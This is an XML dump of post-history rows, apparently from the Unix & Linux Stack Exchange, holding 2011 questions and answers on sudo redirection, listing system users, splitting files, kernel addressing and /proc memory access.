  <row Id="15426" PostHistoryTypeId="5" PostId="6037" RevisionGUID="c59c7a77-c468-4e0d-b981-d40be7cc95b8" CreationDate="2011-01-31T15:46:23.260" UserId="688" Comment="deleted 15 characters in body; deleted 15 characters in body" Text="I use it when I want to reduce typing:&#xD;&#xA;&#xD;&#xA;    geany /path/to/file1 /path/to/file2&#xD;&#xA;    # versus&#xD;&#xA;    geany /path/to/file{1,2}&#xD;&#xA;&#xD;&#xA;Another example:&#xD;&#xA;&#xD;&#xA;    wajig install libpam0g-dev libiw-dev libdb-dev&#xD;&#xA;    # versus&#xD;&#xA;    wajig install lib{pam0g,iw,db}-dev&#xD;&#xA;" />
  <row Id="15427" PostHistoryTypeId="2" PostId="6712" RevisionGUID="1265f100-541a-4e34-958a-3413a7195025" CreationDate="2011-01-31T15:52:37.233" UserId="3976" Text="He didn't know what he was talking about.  There are a couple things I can think that he's talking about:&#xD;&#xA;&#xD;&#xA; 1. The user logs in as a non-superuser, so user processes can't simply load modules or make changes to the kernel in other ways.  (of course, any macosx viruses would exploit flaws in the kernel to bypass that, or just use social engineering to get the user to type in the password)&#xD;&#xA; 2. MacOSX has better memory protection than versions earlier than 10.0.  Perhaps the &quot;genius&quot; is remembering the days with MacOS 9 and previous?  Nearly every modern OS has that now, and it hasn't stopped virus writers.&#xD;&#xA;&#xD;&#xA;I think this Mac Genius probably was just mis-remembering some marketing.  MacOSX can get viruses.  There are certainly some advantages to using a Unix-like system, and perhaps the BSD Userland + Mach microkernel does also provide some added protection, but it is demonstratively false to say that the MacOSX kernel is somehow protected from viruses. " />
  <row Id="15428" PostHistoryTypeId="5" PostId="6680" RevisionGUID="d307e230-5b7b-4658-b19f-606c4c7605a5" CreationDate="2011-01-31T16:23:41.497" UserId="3397" Comment="added 24 characters in body" Text="First things first, debug the module?  Just see if you can load it up in gdb it **might** point you straight at a line that uses the relevant variable(or close to it).  &#xD;&#xA;  &#xD;&#xA;oh, and you might find [this][1] article useful  &#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux-hacks.blogspot.com/2009/07/using-gdb-for-debugging-kernel-modules.html" />
  <row Id="15429" PostHistoryTypeId="5" PostId="3515" RevisionGUID="da97ccbf-4894-4528-a20f-59a8c60bfd1f" CreationDate="2011-01-31T16:44:27.267" UserId="688" Comment="rm unneeded Unity note; improve formatting" Text="I've been using Linux (Ubuntu) for a couple of months now, and I want to try Debian to see how different it is.&#xD;&#xA;&#xD;&#xA;Well, I've already found a couple of differences..   &#xD;&#xA;&#xD;&#xA;* The first one that Debian-Live means **only**-Live.  &#xD;&#xA;* The second difference has stopped me in my tracks. There doesn't seem to be a specific **.iso** CD to download / install. &#xD;&#xA;&#xD;&#xA;I am confronted with a list of 31 CDs ...&#xD;&#xA;&#xD;&#xA;    debian-506-i386-CD-1.iso&#xD;&#xA;    -to-&#xD;&#xA;    debian-506-i386-CD-31.iso&#xD;&#xA;&#xD;&#xA;What is this all about and which **.iso** do I need for a vanilla (32 bit) desktop install?&#xD;&#xA;" />
  <row Id="15430" PostHistoryTypeId="6" PostId="3515" RevisionGUID="da97ccbf-4894-4528-a20f-59a8c60bfd1f" CreationDate="2011-01-31T16:44:27.267" UserId="688" Comment="rm unneeded Unity note; improve formatting" Text="édebianàéinstallàécdà" />
  <row Id="15431" PostHistoryTypeId="16" PostId="6036" RevisionGUID="28949726-e7cf-462b-a59a-ff692387f33a" CreationDate="2011-01-31T16:50:27.370" UserId="73" />
  <row Id="15432" PostHistoryTypeId="16" PostId="6037" RevisionGUID="9479bd1d-0643-4779-b5e4-ad0eb1c56216" CreationDate="2011-01-31T16:50:27.370" UserId="73" />
  <row Id="15433" PostHistoryTypeId="16" PostId="6057" RevisionGUID="bce5afcc-eae6-47da-a926-da648cbbd921" CreationDate="2011-01-31T16:50:27.370" UserId="73" />
  <row Id="15434" PostHistoryTypeId="16" PostId="6113" RevisionGUID="36848e4d-271a-49cc-9b58-e22591bb5174" CreationDate="2011-01-31T16:50:27.370" UserId="73" />
  <row Id="15435" PostHistoryTypeId="16" PostId="6691" RevisionGUID="290e659a-99ec-45e8-a391-636163a6207b" CreationDate="2011-01-31T16:50:27.370" UserId="73" />
  <row Id="15436" PostHistoryTypeId="16" PostId="6035" RevisionGUID="0e9aaa48-163b-4615-b26a-7bddf419e663" CreationDate="2011-01-31T16:50:27.370" UserId="73" />
  <row Id="15437" PostHistoryTypeId="2" PostId="6713" RevisionGUID="0c1c531c-b9be-4ede-8e08-94222068ba5a" CreationDate="2011-01-31T17:07:07.570" UserId="3170" Text="Hi all, this is the first occurrence where su was required for me.&#xD;&#xA;&#xD;&#xA;I read an article about changing the value in /sys/devices/virtual/backlight/acpi_video0/brightness to alter my laptop's screen brightness.&#xD;&#xA;&#xD;&#xA;I first noticed that when I would `$ sudo echo 10 &gt; brightness` I would get permission denied.&#xD;&#xA;&#xD;&#xA;I switched to root using su and `# echo 10 &gt; brightness` changed my brightness almost instantly.&#xD;&#xA;&#xD;&#xA;The last weird thing to me happened when I tried `# echo 20 &gt; brightness` (maxbrightness file holds the value 15) and I got a write error&#xD;&#xA;&#xD;&#xA;Could someone explain this difference between sudo and su to me? Understanding the write error would be an added bonus. Any help, pointers, and/or links would be much appreciated.&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="15438" PostHistoryTypeId="1" PostId="6713" RevisionGUID="0c1c531c-b9be-4ede-8e08-94222068ba5a" CreationDate="2011-01-31T17:07:07.570" UserId="3170" Text="sudo permission denied but su grants permission" />
  <row Id="15439" PostHistoryTypeId="3" PostId="6713" RevisionGUID="0c1c531c-b9be-4ede-8e08-94222068ba5a" CreationDate="2011-01-31T17:07:07.570" UserId="3170" Text="épermissionsàésudoàésuà" />
  <row Id="15440" PostHistoryTypeId="2" PostId="6714" RevisionGUID="6585bd39-0d3b-40b6-ad25-3dbea3e78afc" CreationDate="2011-01-31T17:15:01.310" UserId="3069" Text="Redirection does not work that way. Appending `&gt;` to a command will run that redirection as the invoking user (you) and not as root. Do it with `tee`:&#xD;&#xA;&#xD;&#xA;    echo 20 | sudo tee /sys/devices/virtual/backlight/acpi_video0/brightness&#xD;&#xA;&#xD;&#xA;or by invoking the command in a separate privileged shell:&#xD;&#xA;&#xD;&#xA;    sudo bash -c &quot;echo 20 &gt; /sys/devices/virtual/backlight/acpi_video0/brightness&quot;" />
  <row Id="15441" PostHistoryTypeId="25" PostId="6711" RevisionGUID="bccc92f0-b032-4104-814c-8535ef7c22e8" CreationDate="2011-01-31T17:16:09.970" Comment="http://twitter.com/#!/StackUnix/status/32124993647153152" />
  <row Id="15442" PostHistoryTypeId="2" PostId="6715" RevisionGUID="e1815476-073b-4520-be06-bb0b819e0a25" CreationDate="2011-01-31T17:17:01.013" UserId="73" Text="This isn't because of `sudo`, it's because of the way your command is processed; I actually explained it in [this question](http://unix.stackexchange.com/questions/1416/redirecting-stdout-to-a-file-you-dont-have-write-permission-on). When you do&#xD;&#xA;&#xD;&#xA;    $ sudo echo 10 &gt; brightness&#xD;&#xA;&#xD;&#xA;the shell runs the command `sudo echo 10`, which runs `echo 10` as root. The shell then tries to open `brightness` so it can redirect the output from `echo 10` into it, but it can't -- your shell is running with your permissions, not root. There are workarounds posted as answers on the question I linked to; a good one is:&#xD;&#xA;&#xD;&#xA;    $ echo 10 | sudo tee brightness&#xD;&#xA;&#xD;&#xA;Now `tee` is the one to open `brightness`, and since it's running as root it succeeds" />
  <row Id="15443" PostHistoryTypeId="2" PostId="6716" RevisionGUID="b0efed73-b9db-4c13-94b8-b0511fba69fd" CreationDate="2011-01-31T17:28:17.337" UserId="688" Text="I want to find out what 'normal' users are available on a system. By normal, I mean those who are manually created, not those like **sshd** or **gdm**." />
  <row Id="15444" PostHistoryTypeId="1" PostId="6716" RevisionGUID="b0efed73-b9db-4c13-94b8-b0511fba69fd" CreationDate="2011-01-31T17:28:17.337" UserId="688" Text="How do I check what 'normal' users are there on the system?" />
  <row Id="15445" PostHistoryTypeId="3" PostId="6716" RevisionGUID="b0efed73-b9db-4c13-94b8-b0511fba69fd" CreationDate="2011-01-31T17:28:17.337" UserId="688" Text="éusersà" />
  <row Id="15446" PostHistoryTypeId="2" PostId="6717" RevisionGUID="663f25dd-a625-48f8-9783-2c9c0225546f" CreationDate="2011-01-31T17:34:37.520" UserId="73" Text="I don't think there's a way to tell which users have been &quot;manually created&quot;. Probably the best you can do is look for users that have a valid shell, as typically system users like sshd and gdm have shells like `/bin/false` and `/sbin/nologin` to prevent logins. The list of valid shells is in `/etc/shells`, so you can use `grep` to get a list of users with one of those shells:&#xD;&#xA;&#xD;&#xA;    $ grep -f /etc/shells /etc/passwd&#xD;&#xA;&#xD;&#xA;If you just want usernames:&#xD;&#xA;&#xD;&#xA;    $ grep -f /etc/shells /etc/passwd | cut -d: -f1&#xD;&#xA;" />
  <row Id="15447" PostHistoryTypeId="2" PostId="6718" RevisionGUID="3129f925-c133-49d8-b69e-c32e183acc9a" CreationDate="2011-01-31T17:43:10.513" UserId="3069" Text="&#xD;&#xA;    ls -l /home&#xD;&#xA;&#xD;&#xA;But that's also not the most reliable source." />
  <row Id="15448" PostHistoryTypeId="5" PostId="6718" RevisionGUID="ed0683e4-06a5-43e3-8050-ec570e330491" CreationDate="2011-01-31T17:48:42.330" UserId="3069" Comment="added 63 characters in body" Text="    ls -l /home&#xD;&#xA;&#xD;&#xA;But that's also not the most reliable source.&#xD;&#xA;&#xD;&#xA;If once logged in:&#xD;&#xA;&#xD;&#xA;    lastlog | grep -v 'Never logged in'" />
  <row Id="15449" PostHistoryTypeId="2" PostId="6719" RevisionGUID="975eb5f8-e341-4be5-a524-ad5594eee37a" CreationDate="2011-01-31T17:57:21.417" UserId="1207" Text="Typically &quot;normal users&quot; are assigned user ID's &gt;= 1000.  If this is the case on your system, then the following could work:&#xD;&#xA;&#xD;&#xA;    awk -F: '{if ($3 &gt; 999) print $1}' /etc/passwd" />
  <row Id="15450" PostHistoryTypeId="2" PostId="6720" RevisionGUID="97c0f702-4354-45f4-bd2d-bfb21fe22e25" CreationDate="2011-01-31T17:57:27.157" UserId="4358" Text="Do `grep UID_MIN /etc/login.defs`.&#xD;&#xA;Then do `getent passwd` and look which users have a UID &gt;= the UID_MIN value from above.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Explanation:&#xD;&#xA;Whenever a user is manually added, it grabs the first available UID &gt;= the UID_MIN value from login.defs (unless UID is manually specified)" />
  <row Id="15451" PostHistoryTypeId="2" PostId="6721" RevisionGUID="998630a2-c2a9-4efb-831c-15a56829f1f7" CreationDate="2011-01-31T18:09:01.233" UserId="688" Text="I used `dd if=movies/archlinux-2010.05-core-x86_64.iso of=/dev/sdb` to create an installation image on a USB stick and I'm getting a blank screen soon after boot-up. The last message I saw is:&#xD;&#xA;&#xD;&#xA;    Waiting for UDev UEvents to be processed...&#xD;&#xA;&#xD;&#xA;What am I to do?&#xD;&#xA;&#xD;&#xA;[**note**] Am using a TravelMate 6592.&#xD;&#xA;" />
  <row Id="15452" PostHistoryTypeId="1" PostId="6721" RevisionGUID="998630a2-c2a9-4efb-831c-15a56829f1f7" CreationDate="2011-01-31T18:09:01.233" UserId="688" Text="Am getting a blank screen during installation stage of Arch Linux" />
  <row Id="15453" PostHistoryTypeId="3" PostId="6721" RevisionGUID="998630a2-c2a9-4efb-831c-15a56829f1f7" CreationDate="2011-01-31T18:09:01.233" UserId="688" Text="éinstallàéarchölinuxà" />
  <row Id="15454" PostHistoryTypeId="12" PostId="6717" RevisionGUID="32f4f19c-35ec-4db2-8596-f6c287aa672b" CreationDate="2011-01-31T18:21:04.033" UserId="73" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="15455" PostHistoryTypeId="13" PostId="6717" RevisionGUID="140ab9f7-459f-4838-ba2f-cb8467b8e83e" CreationDate="2011-01-31T18:21:14.047" UserId="73" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="15456" PostHistoryTypeId="2" PostId="6722" RevisionGUID="67136507-9943-42d0-a894-3d0718272715" CreationDate="2011-01-31T18:23:53.663" UserId="3069" Text="Try adding `nomodeset` and a low resolution like `vga=771` to the kernel line in GRUB." />
  <row Id="15458" PostHistoryTypeId="2" PostId="6724" RevisionGUID="8d7519f1-06b3-4cf0-a211-2f807f7d41e9" CreationDate="2011-01-31T18:52:53.397" UserId="131" Text="I have a 6GB file which I need to transport on DVDs. I have a Linux system, while the recipient has a Windows system. Is there any way for me to make a multi-part archive to spread the file across two DVDs that can be opened by a Windows user?" />
  <row Id="15459" PostHistoryTypeId="1" PostId="6724" RevisionGUID="8d7519f1-06b3-4cf0-a211-2f807f7d41e9" CreationDate="2011-01-31T18:52:53.397" UserId="131" Text="What Linux utility can split a large file into a multi-file archivethat can be opened on Windows?" />
  <row Id="15460" PostHistoryTypeId="3" PostId="6724" RevisionGUID="8d7519f1-06b3-4cf0-a211-2f807f7d41e9" CreationDate="2011-01-31T18:52:53.397" UserId="131" Text="écompressionà" />
  <row Id="15461" PostHistoryTypeId="5" PostId="6699" RevisionGUID="a47a0e04-7551-4f57-8cc6-f75d2825e3af" CreationDate="2011-01-31T18:58:26.700" UserId="73" Comment="deleted 39 characters in body" Text="I have a bash script that creates some file using `dd`. The problem is dd throws a great amount of output that is going to mess with the output of my script.&#xD;&#xA;Searching around I've found a solution:&#xD;&#xA;&#xD;&#xA;    dd if=boot1h of=&quot;/dev/r$temp1&quot; &gt;&amp; /dev/null&#xD;&#xA;&#xD;&#xA;Is there an alternative, or is redirecting to `/dev/null` the only way?" />
  <row Id="15462" PostHistoryTypeId="6" PostId="6724" RevisionGUID="42e67a07-b84d-412b-89cf-61a7bcc0a28f" CreationDate="2011-01-31T19:02:28.770" UserId="73" Comment="edited tags" Text="ésoftwareörecàécompressionà" />
  <row Id="15463" PostHistoryTypeId="4" PostId="6724" RevisionGUID="ca16adee-2223-4fa0-b68b-dd723cb05cd4" CreationDate="2011-01-31T19:05:17.137" UserId="3069" Comment="edited title" Text="What Linux utility can split a large file into a multi-file archive that can be opened on Windows?" />
  <row Id="15464" PostHistoryTypeId="2" PostId="6725" RevisionGUID="c7a9b7c1-ad7f-4bdb-9366-df211d7106b1" CreationDate="2011-01-31T19:10:01.103" UserId="4358" Text="Rar is the common utility for operations such as this as it is available on both platforms.&#xD;&#xA;&#xD;&#xA;However another approach is to use `split`.&#xD;&#xA;&gt;split -b 1024m -d somefile somefile.&#xD;&#xA;&#xD;&#xA;Then use 7zip on the windows machine to re-combine the files.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Rar has the advantage of being a little simpler, but requires it to be installed on both machines.&#xD;&#xA;Split has the advantage of it being faster as it doesnt have to put the data in an archive, but leaves it as is.&#xD;&#xA;" />
  <row Id="15465" PostHistoryTypeId="2" PostId="6726" RevisionGUID="77003e1d-45e0-400f-9b5a-bf7234740662" CreationDate="2011-01-31T19:23:07.240" UserId="688" Text="On my tty terminals (1-6), I sometimes lose text (i.e. pressing &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Pg Up&lt;/kbd&gt; doesn't reveal any scrolled-off text). How can I recover this text?" />
  <row Id="15466" PostHistoryTypeId="1" PostId="6726" RevisionGUID="77003e1d-45e0-400f-9b5a-bf7234740662" CreationDate="2011-01-31T19:23:07.240" UserId="688" Text="How do I ensure that a terminal remains scrollable?" />
  <row Id="15467" PostHistoryTypeId="3" PostId="6726" RevisionGUID="77003e1d-45e0-400f-9b5a-bf7234740662" CreationDate="2011-01-31T19:23:07.240" UserId="688" Text="édebianàéttyà" />
  <row Id="15468" PostHistoryTypeId="2" PostId="6727" RevisionGUID="01b25125-7e08-4c40-8215-af5b9e8caef9" CreationDate="2011-01-31T19:42:09.313" UserId="885" Text="Make a [zip](http://linux.die.net/man/1/zip) archive and split it with&#xD;&#xA;&#xD;&#xA;    zipsplit -n 4699996160 foo.zip&#xD;&#xA;&#xD;&#xA;I believe recent versions of Windows have built-in support for zip archives. If the recipient's system is too old, it may have [Winzip](http://www.winzip.com/) or [7-zip](http://www.7-zip.org/).&#xD;&#xA;&#xD;&#xA;If you have a single file, you can split it with [`split`](http://linux.die.net/man/1/split):&#xD;&#xA;&#xD;&#xA;    split -b 4589840k -d pieces- large_file.dat&#xD;&#xA;&#xD;&#xA;On the Windows machine, on the command line (press &lt;kbd&gt;Win&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt; and type `cmd`), assemble it with&#xD;&#xA;&#xD;&#xA;    copy pieces-aa + pieces-ab large_file.dat&#xD;&#xA;" />
  <row Id="15469" PostHistoryTypeId="2" PostId="6728" RevisionGUID="73c00b9a-f78d-4555-bf67-03d6f0bd50c2" CreationDate="2011-01-31T19:47:04.363" UserId="3811" Text="I just used the nVidia driver directly from nVidia, following their directions." />
  <row Id="15470" PostHistoryTypeId="2" PostId="6729" RevisionGUID="a69dc529-a22c-4fc9-8858-dc882ad7abbb" CreationDate="2011-01-31T19:57:45.267" UserId="885" Text="Your script indicates it wants to be started in runlevels 3 and 5, stopped in runlevels 1 and 2 (plus 0 and 6 which are shutdown and reboot), and no opinion in runlevel 4. Ubuntu boots to runlevel 2 by default (I think this is still true with Upstart). So unless you set a different default runlevel your script won't run. In the script headers, use&#xD;&#xA;&#xD;&#xA;    # Default-Start: 2 3 4 5&#xD;&#xA;    # Default-Stop: 0 1 6&#xD;&#xA;" />
  <row Id="15471" PostHistoryTypeId="2" PostId="6730" RevisionGUID="d761d978-3fd2-4de0-9824-d6ac7111454c" CreationDate="2011-01-31T20:08:11.570" UserId="3432" Text="you can redirect the output to an regular file i.e.:&#xD;&#xA;&#xD;&#xA;     dd if=boot1h of=&quot;/dev/r$temp1&quot; &gt;&amp; /tmp/dd.log&#xD;&#xA;  " />
  <row Id="15472" PostHistoryTypeId="25" PostId="6726" RevisionGUID="880ce565-8aa5-4bcf-a23d-246d17d19b54" CreationDate="2011-01-31T20:16:10.343" Comment="http://twitter.com/#!/StackUnix/status/32170293845819392" />
  <row Id="15473" PostHistoryTypeId="2" PostId="6731" RevisionGUID="511e033d-30b7-4ef5-9d71-9254d1eb38b6" CreationDate="2011-01-31T20:28:45.760" UserId="885" Text="It's better not to ask multiple questions at once as not everyone can or will answer everything. Still, I'll give a short answer to each.&#xD;&#xA;&#xD;&#xA;&gt; Does the Linux kernel internally operate with virtual or physical addresses? What especially confuses me is that there are several types of addresses (logical, virtual, bus and physical) and they are all valid and operable by the kernel.&#xD;&#xA;&#xD;&#xA;Yes. Different parts of the kernel use different address spaces.&#xD;&#xA;&#xD;&#xA;While kernel code is processing a system call, its memory mappings include both the whole kernel memory space and the whole memory space of the process (unless your kernel has high memory configured in, but that's too complicated to go into here). These are all logical (a.k.a. virtual) addresses: the high-order bits of the address indicate which page to look up in the [MMU](http://en.wikipedia.org/wiki/Memory_management_unit), and the low-order bits are a linear address inside the page. The memory mappings inside the MMU change whenever a task switch occurs (changing the page table in the MMU is a big part of a task switch).&#xD;&#xA;&#xD;&#xA;Some device drivers need to manipulate memory addresses that are valid for the device they are driving. These are often physical addresses, although some architectures have an [IOMMU](http://en.wikipedia.org/wiki/IOMMU) so that devices also see logical addresses of their own. Of course, the memory management subsystem in the kernel needs to manipulate lots of different kinds of addresses.&#xD;&#xA;&#xD;&#xA;&gt; Is that correct that CPU instructions can't directly address data stored in peripheral devices and therefore addressable memory is used, i.e. buffers, for these purposes?&#xD;&#xA;&#xD;&#xA;This is architecture-dependent. Most architectures do have some kind of [DMA (direct memory access)](http://en.wikipedia.org/wiki/Direct_memory_access), that allows at least some communication with devices to be done via RAM. Additionally, on some architectures (e.g. ARM) all device accesses are done with load and store instructions at appropriate addresses, while others (e.g. i386) have specific processor instructions for that purpose. See [Memory-mapped I/O](http://en.wikipedia.org/wiki/Memory-mapped_I/O) for more details.&#xD;&#xA;&#xD;&#xA;&gt; Can a process sleep when requesting a semaphore (which has a value 0) and has to wait for it?&#xD;&#xA;&#xD;&#xA;Yes, taking a semaphore (`down` and friends) is a blocking operation. This is well-explained in the book.&#xD;&#xA;&#xD;&#xA;&gt; Atomic operations -- are these guaranteed by specific CPU instructions?&#xD;&#xA;&#xD;&#xA;Yes. The details are very architecture-specific. All platforms intended for multitasking provide at least one atomic primitive for synchronization such as [compare-and-swap](http://en.wikipedia.org/wiki/Compare-and-swap), [test-and-set](http://en.wikipedia.org/wiki/Test-and-set), [load-link+store-conditional](http://en.wikipedia.org/wiki/Load-Link/Store-Conditional), etc. In addition to using the correct primitive, the code may need to take care to use proper [memory barriers](http://en.wikipedia.org/wiki/Memory_barrier) on multiprocessor systems. The Linux kernel provides an implementation of its synchronization primitives for each architecture it supports, so that you in turn only need to use the kernel's portable primitives.&#xD;&#xA;" />
  <row Id="15474" PostHistoryTypeId="2" PostId="6732" RevisionGUID="bbb5a4a0-6e77-4f04-9ab9-b361cedcb86d" CreationDate="2011-01-31T20:36:47.887" UserId="885" Text="As far as I know, it's just lost. The Linux console only stores history until you change to a different console. If you want to keep more history, use Screen.&#xD;&#xA;" />
  <row Id="15475" PostHistoryTypeId="6" PostId="6726" RevisionGUID="8792fdf4-d2e9-4c3f-bb24-cc2bf31062bc" CreationDate="2011-01-31T20:37:35.780" UserId="885" Comment="edited tags" Text="élinuxàéttyà" />
  <row Id="15476" PostHistoryTypeId="2" PostId="6733" RevisionGUID="bd1fbfe0-2457-484e-b357-838f99c48943" CreationDate="2011-01-31T21:13:14.457" UserId="4362" Text="Hi&#xD;&#xA;&#xD;&#xA;I just quickly read the [Linux From Scratch][1] book and found it very interesting.&#xD;&#xA;&#xD;&#xA;However I don't understand the role of the temporary system (Chapter 5). It is built from a working distribution, and then we use it to build the final system.&#xD;&#xA;&#xD;&#xA;Couldn't we just make a partition and build a system on it ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linuxfromscratch.org/" />
  <row Id="15477" PostHistoryTypeId="1" PostId="6733" RevisionGUID="bd1fbfe0-2457-484e-b357-838f99c48943" CreationDate="2011-01-31T21:13:14.457" UserId="4362" Text="Why is the temporary system needed to build a Linux from Scratch ?" />
  <row Id="15478" PostHistoryTypeId="3" PostId="6733" RevisionGUID="bd1fbfe0-2457-484e-b357-838f99c48943" CreationDate="2011-01-31T21:13:14.457" UserId="4362" Text="élinuxà" />
  <row Id="15490" PostHistoryTypeId="2" PostId="6737" RevisionGUID="22e8ccbb-02e2-4b8c-9a3f-8edb4167f82e" CreationDate="2011-01-31T21:44:28.630" UserId="4364" Text="I'll be starting to use a VPS for my web hosting this week, which is a big step-up for me since I've only used managed/shared services before. I've a bit of experience with Linux before and I'm not afraid of the terminal but this is a completely different environment from the one I'm used to operating in.&#xD;&#xA;&#xD;&#xA;I'm mainly concerned about security, while there's not going to be anything critical there for a while I do intend to make this a learning exercise. From what I know, I want to:&#xD;&#xA;&#xD;&#xA;* Configure user accounts with appropriate permissions,&#xD;&#xA;* Only allow certain ports to be opened (HTTP, HTTPS, FTP and/or FTPS and SSH),&#xD;&#xA;* Pay attention to directory/file permissions in the webroot of applications for the HTTP user&#xD;&#xA;&#xD;&#xA;I haven't done much SSH/VNC so I intend to read up on that too. What advice could you offer me in my case? While I'd like this to be fairly generic I'll be using Ubuntu Server 10.04 (although I have the choice between CentOS and Debian (or Windows) as alternatives) and Apache for the serving websites." />
  <row Id="15491" PostHistoryTypeId="1" PostId="6737" RevisionGUID="22e8ccbb-02e2-4b8c-9a3f-8edb4167f82e" CreationDate="2011-01-31T21:44:28.630" UserId="4364" Text="I'm moving up from managed hosting to a VPS, what do I need to know?" />
  <row Id="15492" PostHistoryTypeId="3" PostId="6737" RevisionGUID="22e8ccbb-02e2-4b8c-9a3f-8edb4167f82e" CreationDate="2011-01-31T21:44:28.630" UserId="4364" Text="ésshàésecurityàévncà" />
  <row Id="15494" PostHistoryTypeId="2" PostId="6738" RevisionGUID="2fc01d4b-5803-4fb9-bdf8-595f43c878f2" CreationDate="2011-01-31T22:02:19.550" UserId="272" Text="You could use a partition on an existing Linux system. That would be the same as using the temporary system. However, assuming you are using an *empty* system, you will need something to build the LFS software *with*. You can't just drop a compiler on a partition and start churning away. You need a little more than that. A kernel, for example, and a boat load of libraries :)" />
  <row Id="15495" PostHistoryTypeId="2" PostId="6739" RevisionGUID="2fc677f7-8e8d-47b8-9b04-ea7a7e9a7cc0" CreationDate="2011-01-31T22:02:22.193" UserId="3482" Text="You might want to take a look at `/etc/sudoers` file. If your a/c is not listed there then you will not be able to [`sudo`][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sudo.ws/sudo/sudo.html" />
  <row Id="15497" PostHistoryTypeId="5" PostId="6380" RevisionGUID="43089909-c695-4e06-b5a1-58133ea91dd0" CreationDate="2011-01-31T22:45:17.393" UserId="3309" Comment="Typo and brain fart" Text="When you execute `cat /proc/$$/mem` the variable `$$` is evaluated by by bash which inserts its own pid. It then executes `cat` which has a different pid. You end up with `cat` trying to read the memory of `bash`, its parent process. Since non-privileged processes can only read their own memory space this gets denied by the kernel." />
  <row Id="15498" PostHistoryTypeId="25" PostId="6733" RevisionGUID="ef76142c-db40-488f-a650-bf60ae741fd0" CreationDate="2011-01-31T23:16:12.063" Comment="http://twitter.com/#!/StackUnix/status/32215599434178562" />
  <row Id="15499" PostHistoryTypeId="5" PostId="6301" RevisionGUID="db4bf08e-ddcf-496d-8cb9-b134e13be28c" CreationDate="2011-01-31T23:22:59.693" UserId="885" Comment="clarified the use of $$ and self" Text="The [Linux `proc(5)` man page](http://www.kernel.org/doc/man-pages/online/pages/man5/proc.5.html) tells me that `/proc/$pid/mem` “can be used to access the pages of a process's memory”. But a straightforward attempt to use it only gives me&#xD;&#xA;&#xD;&#xA;    $ cat /proc/$$/mem /proc/self/mem&#xD;&#xA;    cat: /proc/3065/mem: No such process&#xD;&#xA;    cat: /proc/self/mem: Input/output error&#xD;&#xA;&#xD;&#xA;Why isn't `cat` able to print its own memory (`/proc/self/mem`)? And what is this strange “no such process” error when I try to print the shell's memory (`/proc/$$/mem`, obviously the process exists)? How can I read from `/proc/$pid/mem`, then?&#xD;&#xA;" />
  <row Id="15500" PostHistoryTypeId="4" PostId="6301" RevisionGUID="db4bf08e-ddcf-496d-8cb9-b134e13be28c" CreationDate="2011-01-31T23:22:59.693" UserId="885" Comment="clarified the use of $$ and self" Text="How do I read from /proc/$pid/mem under Linux?" />
  <row Id="15501" PostHistoryTypeId="2" PostId="6741" RevisionGUID="2d17718c-6799-40d8-980a-b71006967851" CreationDate="2011-01-31T23:36:15.807" UserId="3848" Text="I don't have a copy of that book, but I can explain why a two-step process might be desirable if you're building a complete distro.&#xD;&#xA;&#xD;&#xA;When building packages, it sometimes happens that properties of the build system creep into the binaries that you build.  There are library paths, configuration variables etc, etc.  At Sun/Oracle the standard process for building Solaris is that you need to build biweekly build 17 on a system that's running biweekly 16 (for example).&#xD;&#xA;&#xD;&#xA;For example, there are many fields and structures in header files, you need to make sure that you're building the binaries using the header files that will be delivered on the system.  But some of the packages you are building deliver their own header files.  And those headers are used by other packages.&#xD;&#xA;&#xD;&#xA;Hopefully I've given you an idea of how the system you are building can subtly depend on the system used to build it.  So you would usually want to build on a system that is as close to the system you're building as possible.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="15502" PostHistoryTypeId="5" PostId="6380" RevisionGUID="bd02020a-470c-4e96-b4a3-b5309d2ed21d" CreationDate="2011-01-31T23:38:27.033" UserId="3309" Comment="Added an example to clarify what I was trying to say." Text="When you execute `cat /proc/$$/mem` the variable `$$` is evaluated by by bash which inserts its own pid. It then executes `cat` which has a different pid. You end up with `cat` trying to read the memory of `bash`, its parent process. Since non-privileged processes can only read their own memory space this gets denied by the kernel.&#xD;&#xA;&#xD;&#xA;Here's an example:&#xD;&#xA;&#xD;&#xA;    $ echo $$&#xD;&#xA;    17823&#xD;&#xA;&#xD;&#xA;Note that `$$` evaluates to 17823. Let's see which process that is.&#xD;&#xA;&#xD;&#xA;    $ ps -ef | awk '{if ($2 == &quot;17823&quot;) print}'&#xD;&#xA;    bahamat  17823 17822  0 13:51 pts/0    00:00:00 -bash&#xD;&#xA;&#xD;&#xA;It's my current shell.&#xD;&#xA;&#xD;&#xA;    $ cat /proc/$$/mem&#xD;&#xA;    cat: /proc/17823/mem: No such process&#xD;&#xA;&#xD;&#xA;Here again `$$` evaluates to 17823, which is my shell. `cat` can't read my shell's memory space." />
  <row Id="15503" PostHistoryTypeId="2" PostId="6742" RevisionGUID="1ce71bb8-e15c-4c2e-b1bd-bcc7b1d6d8c6" CreationDate="2011-02-01T01:17:54.920" UserId="3913" Text="Hi there Ross,&#xD;&#xA;&#xD;&#xA;Assuming that you choose to install Linux on your VPS, you might want to look into [iptables][1] for security. Just tailor it to the specific distro as the link I gave is for Debian/Ubuntu.&#xD;&#xA;&#xD;&#xA;Installing other services would be fairly easy.&#xD;&#xA;&#xD;&#xA;Good Luck! &#xD;&#xA;&#xD;&#xA;Ismael Casimpan :)&#xD;&#xA;&#xD;&#xA;  [1]: http://www.howtoforge.com/linux_iptables_sarge" />
  <row Id="15504" PostHistoryTypeId="25" PostId="6713" RevisionGUID="96b0d5dc-443b-4079-a517-e60125d7583b" CreationDate="2011-02-01T02:16:12.750" Comment="http://twitter.com/#!/StackUnix/status/32260901016969216" />
